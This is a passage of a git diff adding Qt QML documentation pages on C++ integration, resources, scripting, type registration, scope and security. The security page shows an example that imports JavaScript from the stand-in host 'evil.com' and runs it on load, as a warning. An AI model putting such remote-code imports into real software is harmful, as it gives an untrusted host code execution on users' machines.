formats can be used to set QML \c property values and pass arguments to C++ +functions. This is demonstrated by various examples on this page; in the above +\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor +property of a QColor type, which is set from the QML code with the string "red" rather rather +than an actual QColor object. + +If it is preferred to pass an explicitly-typed value rather than a string, the global +\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object +types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four +RGBA values. The QColor returned from this function could be used instead of a string to set +a QColor-type property or to call a C++ function that requires a QColor parameter. + + +\section1 Writing QML plugins + +The Qt Declarative module includes the QQmlExtensionPlugin class, which is an abstract +class for writing QML plugins. This allows QML extension types to be dynamically loaded into +QML applications. + +See the QQmlExtensionPlugin documentation and \l {How to Create Qt Plugins} for more +details. + + +\section1 Managing resource files with the Qt resource system + +The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as +binary files in an application executable. This can be useful when building a mixed +QML/C++ application as it enables QML files (as well as other resources such as images +and sound files) to be referred to through the resource system URI scheme rather than +relative or absolute paths to filesystem resources. Note, however, that if you use the resource +system, the application executable must be re-compiled whenever a QML source file is changed +in order to update the resources in the package. + +To use the resource system in a mixed QML/C++ application: + +\list +\li Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource + files in XML format +\li From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the + \c qrc scheme +\endlist + +Once this is done, all files specified by relative paths in QML will be loaded from +the resource system instead. Use of the resource system is completely transparent to +the QML layer; this means all QML code should refer to resource files using relative +paths and should \e not use the \c qrc scheme. This scheme should only be used from +C++ code for referring to resource files. + +Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}. +The directory structure looks like this: + +\code +project + |- example.qrc + |- main.qml + |- images + |- background.png + |- main.cpp + |- project.pro +\endcode + +The \c main.qml and \c background.png files will be packaged as resource files. This is +done in the \c example.qrc resource collection file: + +\quotefile doc/src/snippets/qml/qtbinding/resources/example.qrc + +Since \c background.png is a resource file, \c main.qml can refer to it using the relative +path specified in \c example.qrc: + +\snippet doc/snippets/qml/qtbinding/resources/main.qml 0 + +To allow QML to locate resource files correctly, the \c main.cpp loads the main QML +file, \c main.qml, as a resource file using the \c qrc scheme: + +\snippet doc/snippets/qml/qtbinding/resources/main.cpp 0 + +Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should +be used to build the application resources: + +\quotefile doc/src/snippets/qml/qtbinding/resources/resources.pro + +See \l {The Qt Resource System} for more information. + +*/ + + diff --git a/src/qml/doc/src/qtjavascript.qdoc b/src/qml/doc/src/qtjavascript.qdoc new file mode 100644 index 0000000000..a7ffc8550a --- /dev/null +++ b/src/qml/doc/src/qtjavascript.qdoc @@ -0,0 +1,93 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \group qtjavascript + \title Scripting Classes and Overviews + + \brief Classes for embedding JavaScript in Qt/C++ applications. +*/ + +/*! + \page qtjavascript.html + \title Making Applications Scriptable + \ingroup frameworks-technologies + \brief incorporating JavaScript in Qt applications. + + Qt provides support for application scripting with JavaScript. + The following guides and references cover aspects of programming with + JavaScript and Qt. + + \tableofcontents + + \section1 Scripting Classes + + The following classes add scripting capabilities to Qt applications. + + \annotatedlist qtjavascript + + \section1 Basic Usage + + To evaluate script code, you create a QJSEngine and call its + evaluate() function, passing the script code (text) to evaluate + as argument. + + \snippet doc/snippets/qtjavascript/evaluation/main.cpp 0 + + The return value will be the result of the evaluation (represented + as a QJSValue object); this can be converted to standard C++ + and Qt types. + + Custom properties can be made available to scripts by registering + them with the script engine. This is most easily done by setting + properties of the script engine's \e{Global Object}: + + \snippet doc/snippets/qtjavascript/registeringvalues/main.cpp 0 + + This places the properties in the script environment, thus making them + available to script code. + + \section1 Making a QObject Available to the Script Engine + + Any QObject-based instance can be made available for use with scripts. + + When a QObject is passed to the QJSEngine::newQObject() function, + a Qt Script wrapper object is created that can be used to make the + QObject's signals, slots, properties, and child objects available + to scripts. + + Here's an example of making an instance of a QObject subclass + available to script code under the name \c{"myObject"}: + + \snippet doc/snippets/qtjavascript/registeringobjects/main.cpp 0 + + This will create a global variable called \c{myObject} in the + script environment. The variable serves as a proxy to the + underlying C++ object. Note that the name of the script variable + can be anything; i.e., it is not dependent upon QObject::objectName(). + + */ diff --git a/src/qml/doc/src/qtprogrammers.qdoc b/src/qml/doc/src/qtprogrammers.qdoc new file mode 100644 index 0000000000..fd47d9bf58 --- /dev/null +++ b/src/qml/doc/src/qtprogrammers.qdoc @@ -0,0 +1,197 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qtprogrammers.html +\target qtprogrammers +\title QML for Qt Programmers +\brief learning QML for programmers with Qt knowledge + +While QML does not require Qt knowledge to use, if you \e are already familiar with Qt, +much of your knowledge is directly relevant to learning and using QML. Of course, +an application with a user interface defined in QML also uses Qt for all the non-UI +logic. + +\section1 Familiar Concepts + +QML provides direct access to the following concepts from Qt: + +\list + \li QAction - the \l {QML Basic Types}{action} type + \li QObject signals and slots - available as functions to call in JavaScript + \li QObject properties - available as variables in JavaScript + \li QWidget - QQuickView is a QML-displaying widget + \li Qt models - used directly in data binding (QAbstractItemModel) +\endlist + +Qt knowledge is \e required for \l{Extending QML with C++}, +and also for \l{Integrating QML Code with existing Qt UI code}. + +\section1 QML Items Compared with Widgets + +QML Items are very similar to widgets: they define the look and feel of the user +interface. Note that, while widgets haven't traditionally been used to define the +look and feel of view delegates, QML Items can be used for this as well. + +There are three structurally different types of widget: + +\list + \li Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.) + \li Parent widgets that are normally used as parents to other widgets (QGroupBox, + QStackedWidget, QTabWidget, etc.) + \li Compound widgets that are internally composed of child widgets (QComboBox, + QSpinBox, QFileDialog, QTabWidget, etc.) +\endlist + +QML Items also serve these purposes. Each is considered separately below. + +\section2 Simple Widgets + +The most important rule to remember while implementing a new QQuickItem in C++ +is that it should not contain any look and feel policies; leave that to the QML +usage of the item. + +As an example, imagine you wanted a reusable Button item. If you therefore decided +to write a QQuickItem subclass to implement a button, just as QToolButton +subclasses QWidget for this purpose, following the rule above, your +\c QDeclarativeButton would not have any appearance; just the notions of enabled, +triggering, etc. + +However, there is already an object in Qt that does this: QAction. + +QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, +QToolButton, and other visual widgets that are commonly bound to a QAction. + +So, the job of implementing a checkbox abstraction for QML is already done by QAction. +The look and feel of an action, the appearance of the button, the transition +between states, and exactly how it responds to mouse, key, or touch input, should +all be left for definition in QML. + +It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl, +QQuickWebView is built upon QWebPage, and ListView uses QAbstractItemModel, +just as QTextEdit, QWebView, and QListView are built upon those same UI-agnostic +components. + +The encapsulation of the look and feel that widgets provide is important, and for +this the QML concept of \l{QML Documents}{components} serves the same purpose. +If you are building a complete suite of applications which should have a +consistent look and feel, you should build a set of reusable components with the +look and feel you desire. + +So, to implement your reusable button, you would simply build a QML component. + + +\section2 Parent Widgets + +Parent widgets each provide a generic way to provide an interface to one or more +arbitrary widgets. A QTabWidget provides an interface to multiple "pages", one of +which is visible at any time, and a mechanism for selecting among them: the QTabBar. +A QScrollArea provides scrollbars around a widget that is otherwise too large to +fit in the available space. + +Nearly all such components can be created directly in QML. Only a few cases +which require very particular event handling, such as \l Flickable, require C++ +implementations. + +As an example, imagine you decided to make a generic tab widget item to be used +through your application suite wherever information is in such quantity that it +needs to be divided up into pages. + +A significant difference in the parenting concept with QML compare to QWidgets +is that while child items are positioned relative to their parents, there is no +requirement that they be wholly contained ("clipped") to the parent (although the +\l{Item::}{clipped} property of the child item does allow this where it is needed). +This difference has rather far-reaching consequences, for example: + +\list +\li A shadow or highlight around a widget could be a child of that widget. +\li Particle effects can flow outside the object where they originate. +\li Transitioning animations can "hide" items by visibly moving them beyond + the screen bounds. +\endlist + +\section2 Compound Widgets + +Some widgets provide functionality by composing other widgets as an "implementation +detail", providing a higher level API to the composition. QSpinBox for example is a +line edit and some buttons to increase/decrease the edited value. QFileDialog uses +a whole host of widgets to give the user a way of finding and selecting a file +name. + +When developing reusable QML Items, you may choose to do the same: build an item +composed of other items you have already defined. + +The only caveat when doing this is to consider the possible animations and +transitions that users of the compound item might wish to employ. For example, a +spinbox might need to smoothly transition from an arbitrary \l Text item, or +characters within a \l Text item, so your spinbox item would need to be sufficiently +flexible to allow such animation. + +\section1 QML Items Compared with Graphics Widgets + +The main difference between QML items and QGraphicsWidgets is how they are intended +to be used. The technical implementation details are much the same, but in practice +they are different because QML items are made for declarative and compositional use, +and QGraphicsWidgets are made for imperative and more integrated use. Both QML items +and QGraphicsWidgets inherit from QGraphicsObject, and can co-exist. The differences +are in the layout system and the interfacing with other components. Note that, as +QGraphicsWidgets tend more to be all-in-one packages, the equivalent of a +QGraphicsWidget may be many QML items composed across several QML files, but it can +still be loaded and used as a single QGraphicsObject from C++. + +QGraphicsWidgets are usually designed to be laid out with QGraphicsLayouts. QML does +not use QGraphicsLayouts, as the Qt layouts do not mix well with animated and fluid +UIs, so the geometry interface is one of the main differences. When writing QML +elements, you allow the designers to place their bounding rectangle using absolute +geometry, bindings or anchors (all set up for you when you inherit QQuickItem) +and you do not use layouts or size hints. If size hints are appropriate, then place +them in the QML documentation so that the designers know how to use the item best, +but still have complete control over the look and feel. + +The other main difference is that QGraphicsWidgets tend to follow the widget model, +in that they are a self-contained bundle of UI and logic. In contrast, QML +primitives are usually a single purpose item that does not fulfill a use case on +its own, but is composed into the equivalent of the widget inside the QML file. So +when writing QML Items, try to avoid doing UI logic or composing visual elements +inside the items. Try instead to write more general purpose primitives, so that the +look and feel (which involves the UI logic) can be written in QML. + +Both differences are caused by the different method of interaction. QGraphicsWidget +is a QGraphicsObject subclass which makes fluid UI development from C++ easier, and +QQuickItem is a QGraphicsObject subclass which makes fluid UI development +from QML easier. The difference, therefore, is primarily one of the interface +exposed, and the design of the items that come with it; the declarative primitives +for QML and nothing for QGraphicsWidget, because you need to write your own UI +logic into the subclass. + +If you wish to use both QML and C++ to write the UI, for example to ease the +transition period, it is recommended to use QQuickItem subclasses, although +you can use QGraphicsWidgets as well. To allow for easier use from C++, make the +root item of each C++ component a \l LayoutItem, and load individual "widgets" of +QML (possibly comprised of multiple files, and containing a self-contained bundle +of UI and logic) into your scene to replace individual QGraphicsWidgets one at a time. +*/ diff --git a/src/qml/doc/src/qtqml.qdoc b/src/qml/doc/src/qtqml.qdoc new file mode 100644 index 0000000000..7bd797e8d0 --- /dev/null +++ b/src/qml/doc/src/qtqml.qdoc @@ -0,0 +1,371 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \module QtQml + \title Qt QML Module + \ingroup modules + + \brief The Qt QML module provides a declarative framework + for building highly dynamic, custom user interfaces. + + To include the definitions of the module's classes, use the + following directive: + + \code + #include <QtQml> + \endcode + + To link against the module, add this line to your \l qmake \c + .pro file: + + \code + QT += qml + \endcode + + For more information on the Qt QML module (including the visual + elements which are implemented on top of the Qt QML module) see the + \l{Qt Quick} documentation. +*/ + + +/*! + \macro QML_DECLARE_TYPE() + \relates QQmlEngine + + Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QQmlListProperty<TYPE>) + + #include <QtQml> to use this macro. +*/ + +/*! + \macro QML_DECLARE_TYPEINFO(Type,Flags) + \relates QQmlEngine + + Declares additional properties of the given \a Type as described by the + specified \a Flags. + + Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which + declares that the \a Type supports \l {Attached Properties}. + + #include <QtQml> to use this macro. +*/ + + +/*! + \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) + \relates QQmlEngine + + This template function registers the C++ type in the QML system with + the name \a qmlName, in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor. + + Returns the QML type id. + + There are two forms of this template function: + + \code + template<typename T> + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + + template<typename T, int metaObjectRevision> + int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); + \endcode + + The former is the standard form which registers the type \e T as a new type. + The latter allows a particular revision of a class to be registered in + a specified version (see \l {QML Type Versioning}). + + + For example, this registers a C++ class \c MySliderItem as a QML type + named \c Slider for version 1.0 of a \l{QML Modules}{module} called + "com.mycompany.qmlcomponents": + + \code + #include <QtQml> + + ... + + qmlRegisterType<MySliderItem>("com.mycompany.qmlcomponents", 1, 0, "Slider"); + \endcode + + Once this is registered, the type can be used in QML by importing the + specified module name and version number: + + \qml + import com.mycompany.qmlcomponents 1.0 + + Slider { + // ... + } + \endqml + + Note that it's perfectly reasonable for a library to register types to older versions + than the actual version of the library. Indeed, it is normal for the new library to allow + QML written to previous versions to continue to work, even if more advanced versions of + some of its types are available. +*/ + +/*! + \fn int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) + \relates QQmlEngine + + This template function registers the specified revision of a C++ type in the QML system with + the library imported from \a uri having the version number composed + from \a versionMajor and \a versionMinor. + + Returns the QML type id. + + \code + template<typename T, int metaObjectRevision> + int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor); + \endcode + + This function is typically used to register the revision of a base class to + use for the specified module version (see \l {QML Type Versioning}). +*/ + +/*! + \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) + \relates QQmlEngine + + This template function registers the C++ type in the QML system with + the name \a qmlName, in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor. + + While the type has a name and a type, it cannot be created, and the + given error \a message will result if creation is attempted. + + This is useful where the type is only intended for providing attached properties or enum values. + + Returns the QML type id. + + #include <QtQml> to use this function. + + \sa qmlRegisterTypeNotAvailable() +*/ + +/*! + \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) + \relates QQmlEngine + + This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the + version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type + will produce the given error \a message. + + Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should + at least "reserve" the QML type name, and give the user of your module a meaningful error message. + + Returns the QML type id. + + Example: + + \code + #ifdef NO_GAMES_ALLOWED + qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!"); + #else + qmlRegisterType<MinehuntGame>("MinehuntCore", 0, 1, "Game"); + #endif + \endcode + + This will cause any QML which uses this module and attempts to use the type to produce an error message: + \code + fun.qml: Get back to work, slacker! + Game { + ^ + \endcode + + Without this, a generic "Game is not a type" message would be given. + + #include <QtQml> to use this function. + + \sa qmlRegisterUncreatableType() +*/ + +/*! + \fn int qmlRegisterType() + \relates QQmlEngine + \overload + + This template function registers the C++ type in the QML + system. Instances of this type cannot be created from the QML + system. + + #include <QtQml> to use this function. + + Returns the QML type id. +*/ + +/*! + \fn int qmlRegisterInterface(const char *typeName) + \relates QQmlEngine + + This template function registers the C++ type in the QML system + under the name \a typeName. + + #include <QtQml> to use this function. + + Returns the QML type id. +*/ + +/*! + \fn int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QJSValue (*callback)(QQmlEngine *, QJSEngine *)) + \relates QQmlEngine + + This function may be used to register a module API provider \a callback in a particular \a uri + with a version specified in \a versionMajor and \a versionMinor. + + Installing a module API into a uri allows developers to provide arbitrary functionality + (methods and properties) in a namespace that doesn't necessarily contain elements. + + A module API may be either a QObject or a QJSValue. Only one module API provider + may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). + This function should be used to register a module API provider function which returns a QJSValue as a module API. + + \b{NOTE:} QJSValue module API properties will \b{not} trigger binding re-evaluation if changed. + + Usage: + \code + // first, define the module API provider function (callback). + static QJSValue *example_qjsvalue_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) + { + Q_UNUSED(engine) + + static int seedValue = 5; + QJSValue example = scriptEngine->newObject(); + example.setProperty("someProperty", seedValue++); + return example; + } + + // second, register the module API provider with QML by calling this function in an initialization function. + ... + qmlRegisterModuleApi("Qt.example.qjsvalueApi", 1, 0, example_qjsvalue_module_api_provider); + ... + \endcode + + In order to use the registered module API in QML, you must import the module API. + \qml + import QtQuick 2.0 + import Qt.example.qjsvalueApi 1.0 as ExampleApi + Item { + id: root + property int someValue: ExampleApi.someProperty + } + \endqml + */ + +/*! + \internal + \fn int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QObject *(*callback)(QQmlEngine *, QJSEngine *)) + \deprecated + + Any uses of a module API in a binding where that module API was registered with this + function instead of the template version will result in suboptimal binding generation. + */ + +/*! + \fn template<typename T> int qmlRegisterModuleApi(const char *uri, int versionMajor, int versionMinor, QObject *(*callback)(QQmlEngine *, QJSEngine *)) + \relates QQmlEngine + + This function may be used to register a module API provider \a callback in a particular \a uri + with a version specified in \a versionMajor and \a versionMinor. + + Installing a module API into a uri allows developers to provide arbitrary functionality + (methods and properties) in a namespace that doesn't necessarily contain elements. + + A module API may be either a QObject or a QJSValue. Only one module API provider + may be registered into any given namespace (combination of \a uri, \a versionMajor and \a versionMinor). + This function should be used to register a module API provider function which returns a QObject + of the given type T as a module API. + + A QObject module API must be imported with a qualifier, and that qualifier may be used as + the target in a \l Connections element or otherwise used as any other element id would. + One exception to this is that a QObject module API property may not be aliased (because the + module API qualifier does not identify an object within the same component as any other item). + + \b{NOTE:} A QObject module API instance returned from a module API provider is owned by the QML + engine. For this reason, the module API provider function should \b{not} be implemented as a + singleton factory. + + Usage: + \code + // first, define your QObject which provides the functionality. + class ModuleApiExample : public QObject + { + Q_OBJECT + Q_PROPERTY (int someProperty READ someProperty WRITE setSomeProperty NOTIFY somePropertyChanged) + + public: + ModuleApiExample(QObject* parent = 0) + : QObject(parent), m_someProperty(0) + { + } + + ~ModuleApiExample() {} + + Q_INVOKABLE int doSomething() { setSomeProperty(5); return m_someProperty; } + + int someProperty() const { return m_someProperty; } + void setSomeProperty(int val) { m_someProperty = val; emit somePropertyChanged(val); } + + signals: + void somePropertyChanged(int newValue); + + private: + int m_someProperty; + }; + + // second, define the module API provider function (callback). + static QObject *example_qobject_module_api_provider(QQmlEngine *engine, QJSEngine *scriptEngine) + { + Q_UNUSED(engine) + Q_UNUSED(scriptEngine) + + ModuleApiExample *example = new ModuleApiExample(); + return example; + } + + // third, register the module API provider with QML by calling this function in an initialization function. + ... + qmlRegisterModuleApi<ModuleApiExample>("Qt.example.qobjectApi", 1, 0, example_qobject_module_api_provider); + ... + \endcode + + In order to use the registered module API in QML, you must import the module API. + \qml + import QtQuick 2.0 + import Qt.example.qobjectApi 1.0 as ExampleApi + Item { + id: root + property int someValue: ExampleApi.someProperty + + Component.onCompleted: { + someValue = ExampleApi.doSomething() + } + } + \endqml + */ diff --git a/src/qml/doc/src/scope.qdoc b/src/qml/doc/src/scope.qdoc new file mode 100644 index 0000000000..15cebc735d --- /dev/null +++ b/src/qml/doc/src/scope.qdoc @@ -0,0 +1,308 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qml-scope.html +\contentspage QML Reference +\ingroup qml-features +\title QML Scope +\brief access hierarchy in QML +\tableofcontents + +QML property bindings, inline functions, and imported JavaScript files all +run in a JavaScript scope. Scope controls which variables an expression can +access, and which variable takes precedence when two or more names conflict. + +As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit +more naturally with the QML language extensions. + +\section1 JavaScript Scope + +QML's scope extensions do not interfere with JavaScript's natural scoping. +JavaScript programmers can reuse their existing knowledge when programming +functions, property bindings or imported JavaScript files in QML. + +In the following example, the \c {addConstant()} method will add 13 to the +parameter passed just as the programmer would expect irrespective of the +value of the QML object's \c a and \c b properties. + +\code +QtObject { + property int a: 3 + property int b: 9 + + function addConstant(b) { + var a = 13; + return b + a; + } +} +\endcode + +That QML respects JavaScript's normal scoping rules even applies in bindings. +This totally evil, abomination of a binding will assign 12 to the QML object's +\c a property. + +\code +QtObject { + property int a + + a: { var a = 12; a; } +} +\endcode + +Every JavaScript expression, function or file in QML has its own unique +variable object. Local variables declared in one will never conflict +with local variables declared in another. + +\section1 Element Names and Imported JavaScript Files + +\l {QML Document}s include import statements that define the element names +and JavaScript files visible to the document. In addition to their use in the +QML declaration itself, element names are used by JavaScript code when accessing +\l {Attached Properties} and enumeration values. + +The effect of an import applies to every property binding, and JavaScript +function in the QML document, even those in nested inline components. The +following example shows a simple QML file that accesses some enumeration +values and calls an imported JavaScript function. + +\code +import QtQuick 2.0 +import "code.js" as Code + +ListView { + snapMode: ListView.SnapToItem + + delegate: Component { + Text { + elide: Text.ElideMiddle + text: "A really, really long string that will require eliding." + color: Code.defaultColor() + } + } +} +\endcode + +\section1 Binding Scope Object + +Property bindings are the most common use of JavaScript in QML. Property +bindings associate the result of a JavaScript expression with a property of an +object. The object to which the bound property belongs is known as the binding's +scope object. In this QML simple declaration the \l Item object is the +binding's scope object. + +\code +Item { + anchors.left: parent.left +} +\endcode + +Bindings have access to the scope object's properties without qualification. +In the previous example, the binding accesses the \l Item's \c parent property +directly, without needing any form of object prefix. QML introduces a more +structured, object-oriented approach to JavaScript, and consequently does not +require the use of the JavaScript \c this property. + +Care must be used when accessing \l {Attached Properties} from bindings due +to their interaction with the scope object. Conceptually attached properties +exist on \e all objects, even if they only have an effect on a subset of those. +Consequently unqualified attached property reads will always resolve to an +attached property on the scope object, which is not always what the programmer +intended. + +For example, the \l PathView element attaches interpolated value properties to +its delegates depending on their position in the path. As PathView only +meaningfully attaches these properties to the root element in the delegate, any +sub-element that accesses them must explicitly qualify the root object, as shown +below. + +\code +PathView { + delegate: Component { + Rectangle { + id: root + Image { + scale: root.PathView.scale + } + } + } +} +\endcode + +If the \l Image element omitted the \c root prefix, it would inadvertently access +the unset \c {PathView.scale} attached property on itself. + +\section1 Component Scope + +Each QML component in a QML document defines a logical scope. Each document +has at least one root component, but can also have other inline sub-components. +The component scope is the union of the object ids within the component and the +component's root element's properties. + +\code +Item { + property string title + + Text { + id: titleElement + text: "<b>" + title + "</b>" + font.pixelSize: 22 + anchors.top: parent.top + } + + Text { + text: titleElement.text + font.pixelSize: 18 + anchors.bottom: parent.bottom + } +} +\endcode + +The example above shows a simple QML component that displays a rich text title +string at the top, and a smaller copy of the same text at the bottom. The first +\c Text element directly accesses the component's \c title property when +forming the text to display. That the root element's properties are directly +accessible makes it trivial to distribute data throughout the component. + +The second \c Text element uses an id to access the first's text directly. IDs +are specified explicitly by the QML programmer so they always take precedence +over other property names (except for those in the \l {JavaScript Scope}). For +example, in the unlikely event that the binding's \l {Binding Scope Object}{scope +object} had a \c titleElement property in the previous example, the \c titleElement +id would still take precedence. + +\section1 Component Instance Hierarchy + +In QML, component instances connect their component scopes together to form a +scope hierarchy. Component instances can directly access the component scopes of +their ancestors. + +The easiest way to demonstrate this is with inline sub-components whose component +scopes are implicitly scoped as children of the outer component. + +\code +Item { + property color defaultColor: "blue" + + ListView { + delegate: Component { + Rectangle { + color: defaultColor + } + } + } +} +\endcode + +The component instance hierarchy allows instances of the delegate component +to access the \c defaultColor property of the \c Item element. Of course, +had the delegate component had a property called \c defaultColor that would +have taken precedence. + +The component instance scope hierarchy extends to out-of-line components, too. +In the following example, the \c TitlePage.qml component creates two +\c TitleText instances. Even though the \c TitleText element is in a separate +file, it still has access to the \c title property when it is used from within +the \c TitlePage. QML is a dynamically scoped language - depending on where it +is used, the \c title property may resolve differently. + +\code +// TitlePage.qml +import QtQuick 2.0 +Item { + property string title + + TitleText { + size: 22 + anchors.top: parent.top + } + + TitleText { + size: 18 + anchors.bottom: parent.bottom + } +} + +// TitleText.qml +import QtQuick 2.0 +Text { + property int size + text: "<b>" + title + "</b>" + font.pixelSize: size +} +\endcode + +Dynamic scoping is very powerful, but it must be used cautiously to prevent +the behavior of QML code from becoming difficult to predict. In general it +should only be used in cases where the two components are already tightly +coupled in another way. When building reusable components, it is preferable +to use property interfaces, like this: + +\code +// TitlePage.qml +import QtQuick 2.0 +Item { + id: root + property string title + + TitleText { + title: root.title + size: 22 + anchors.top: parent.top + } + + TitleText { + title: root.title + size: 18 + anchors.bottom: parent.bottom + } +} + +// TitleText.qml +import QtQuick 2.0 +Text { + property string title + property int size + + text: "<b>" + title + "</b>" + font.pixelSize: size +} +\endcode + +\section1 JavaScript Global Object + +In addition to all the properties that a developer would normally expect on +the JavaScript global object, QML adds some custom extensions to make UI or +QML specific tasks a little easier. The +\l{JavaScript Runtime}{JavaScript runtime} and the \l{QML Scope} articles +contain more information about the scoping +capabilities + +QML disallows element, id and property names that conflict with the properties +on the global object to prevent any confusion. Programmers can be confident +that \c Math.min(10, 9) will always work as expected! + +*/ diff --git a/src/qml/doc/src/security.qdoc b/src/qml/doc/src/security.qdoc new file mode 100644 index 0000000000..190d6930c5 --- /dev/null +++ b/src/qml/doc/src/security.qdoc @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-security.html +\title QML Security +\section1 QML Security +\brief the security model in QML + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import QtQuick 2.0 +import "http://evil.com/evil.js" as Evil + +Component { + onLoaded: Evil.doEvil() +} +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, etc. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \li Using \c import to import QML or JavaScript you do not control. BAD + \li Using \l Loader to import QML you do not control. BAD + \li Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \li Create \l Image elements with source URLs of any online images. GOOD + \li Use XmlListModel to present online content. GOOD + \li Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ diff --git a/src/qml/qml/qqmlcomponent.cpp b/src/qml/qml/qqmlcomponent.cpp index ef2a357636..10f684db24 100644 --- a/src/qml/qml/qqmlcomponent.cpp +++ b/src/qml/qml/qqmlcomponent.cpp @@ -202,7 +202,7 @@ static inline QString buildTypeNameForDebug(const QMetaObject *metaObject) For example, here is a component that is used by multiple \l Loader objects. It contains a single item, a \l Rectangle: - \snippet doc/src/snippets/qml/component.qml 0 + \snippet doc/snippets/qml/component.qml 0 Notice that while a \l Rectangle by itself would be automatically rendered and displayed, this is not the case for the above rectangle diff --git a/src/qml/qml/qqmlengine.cpp 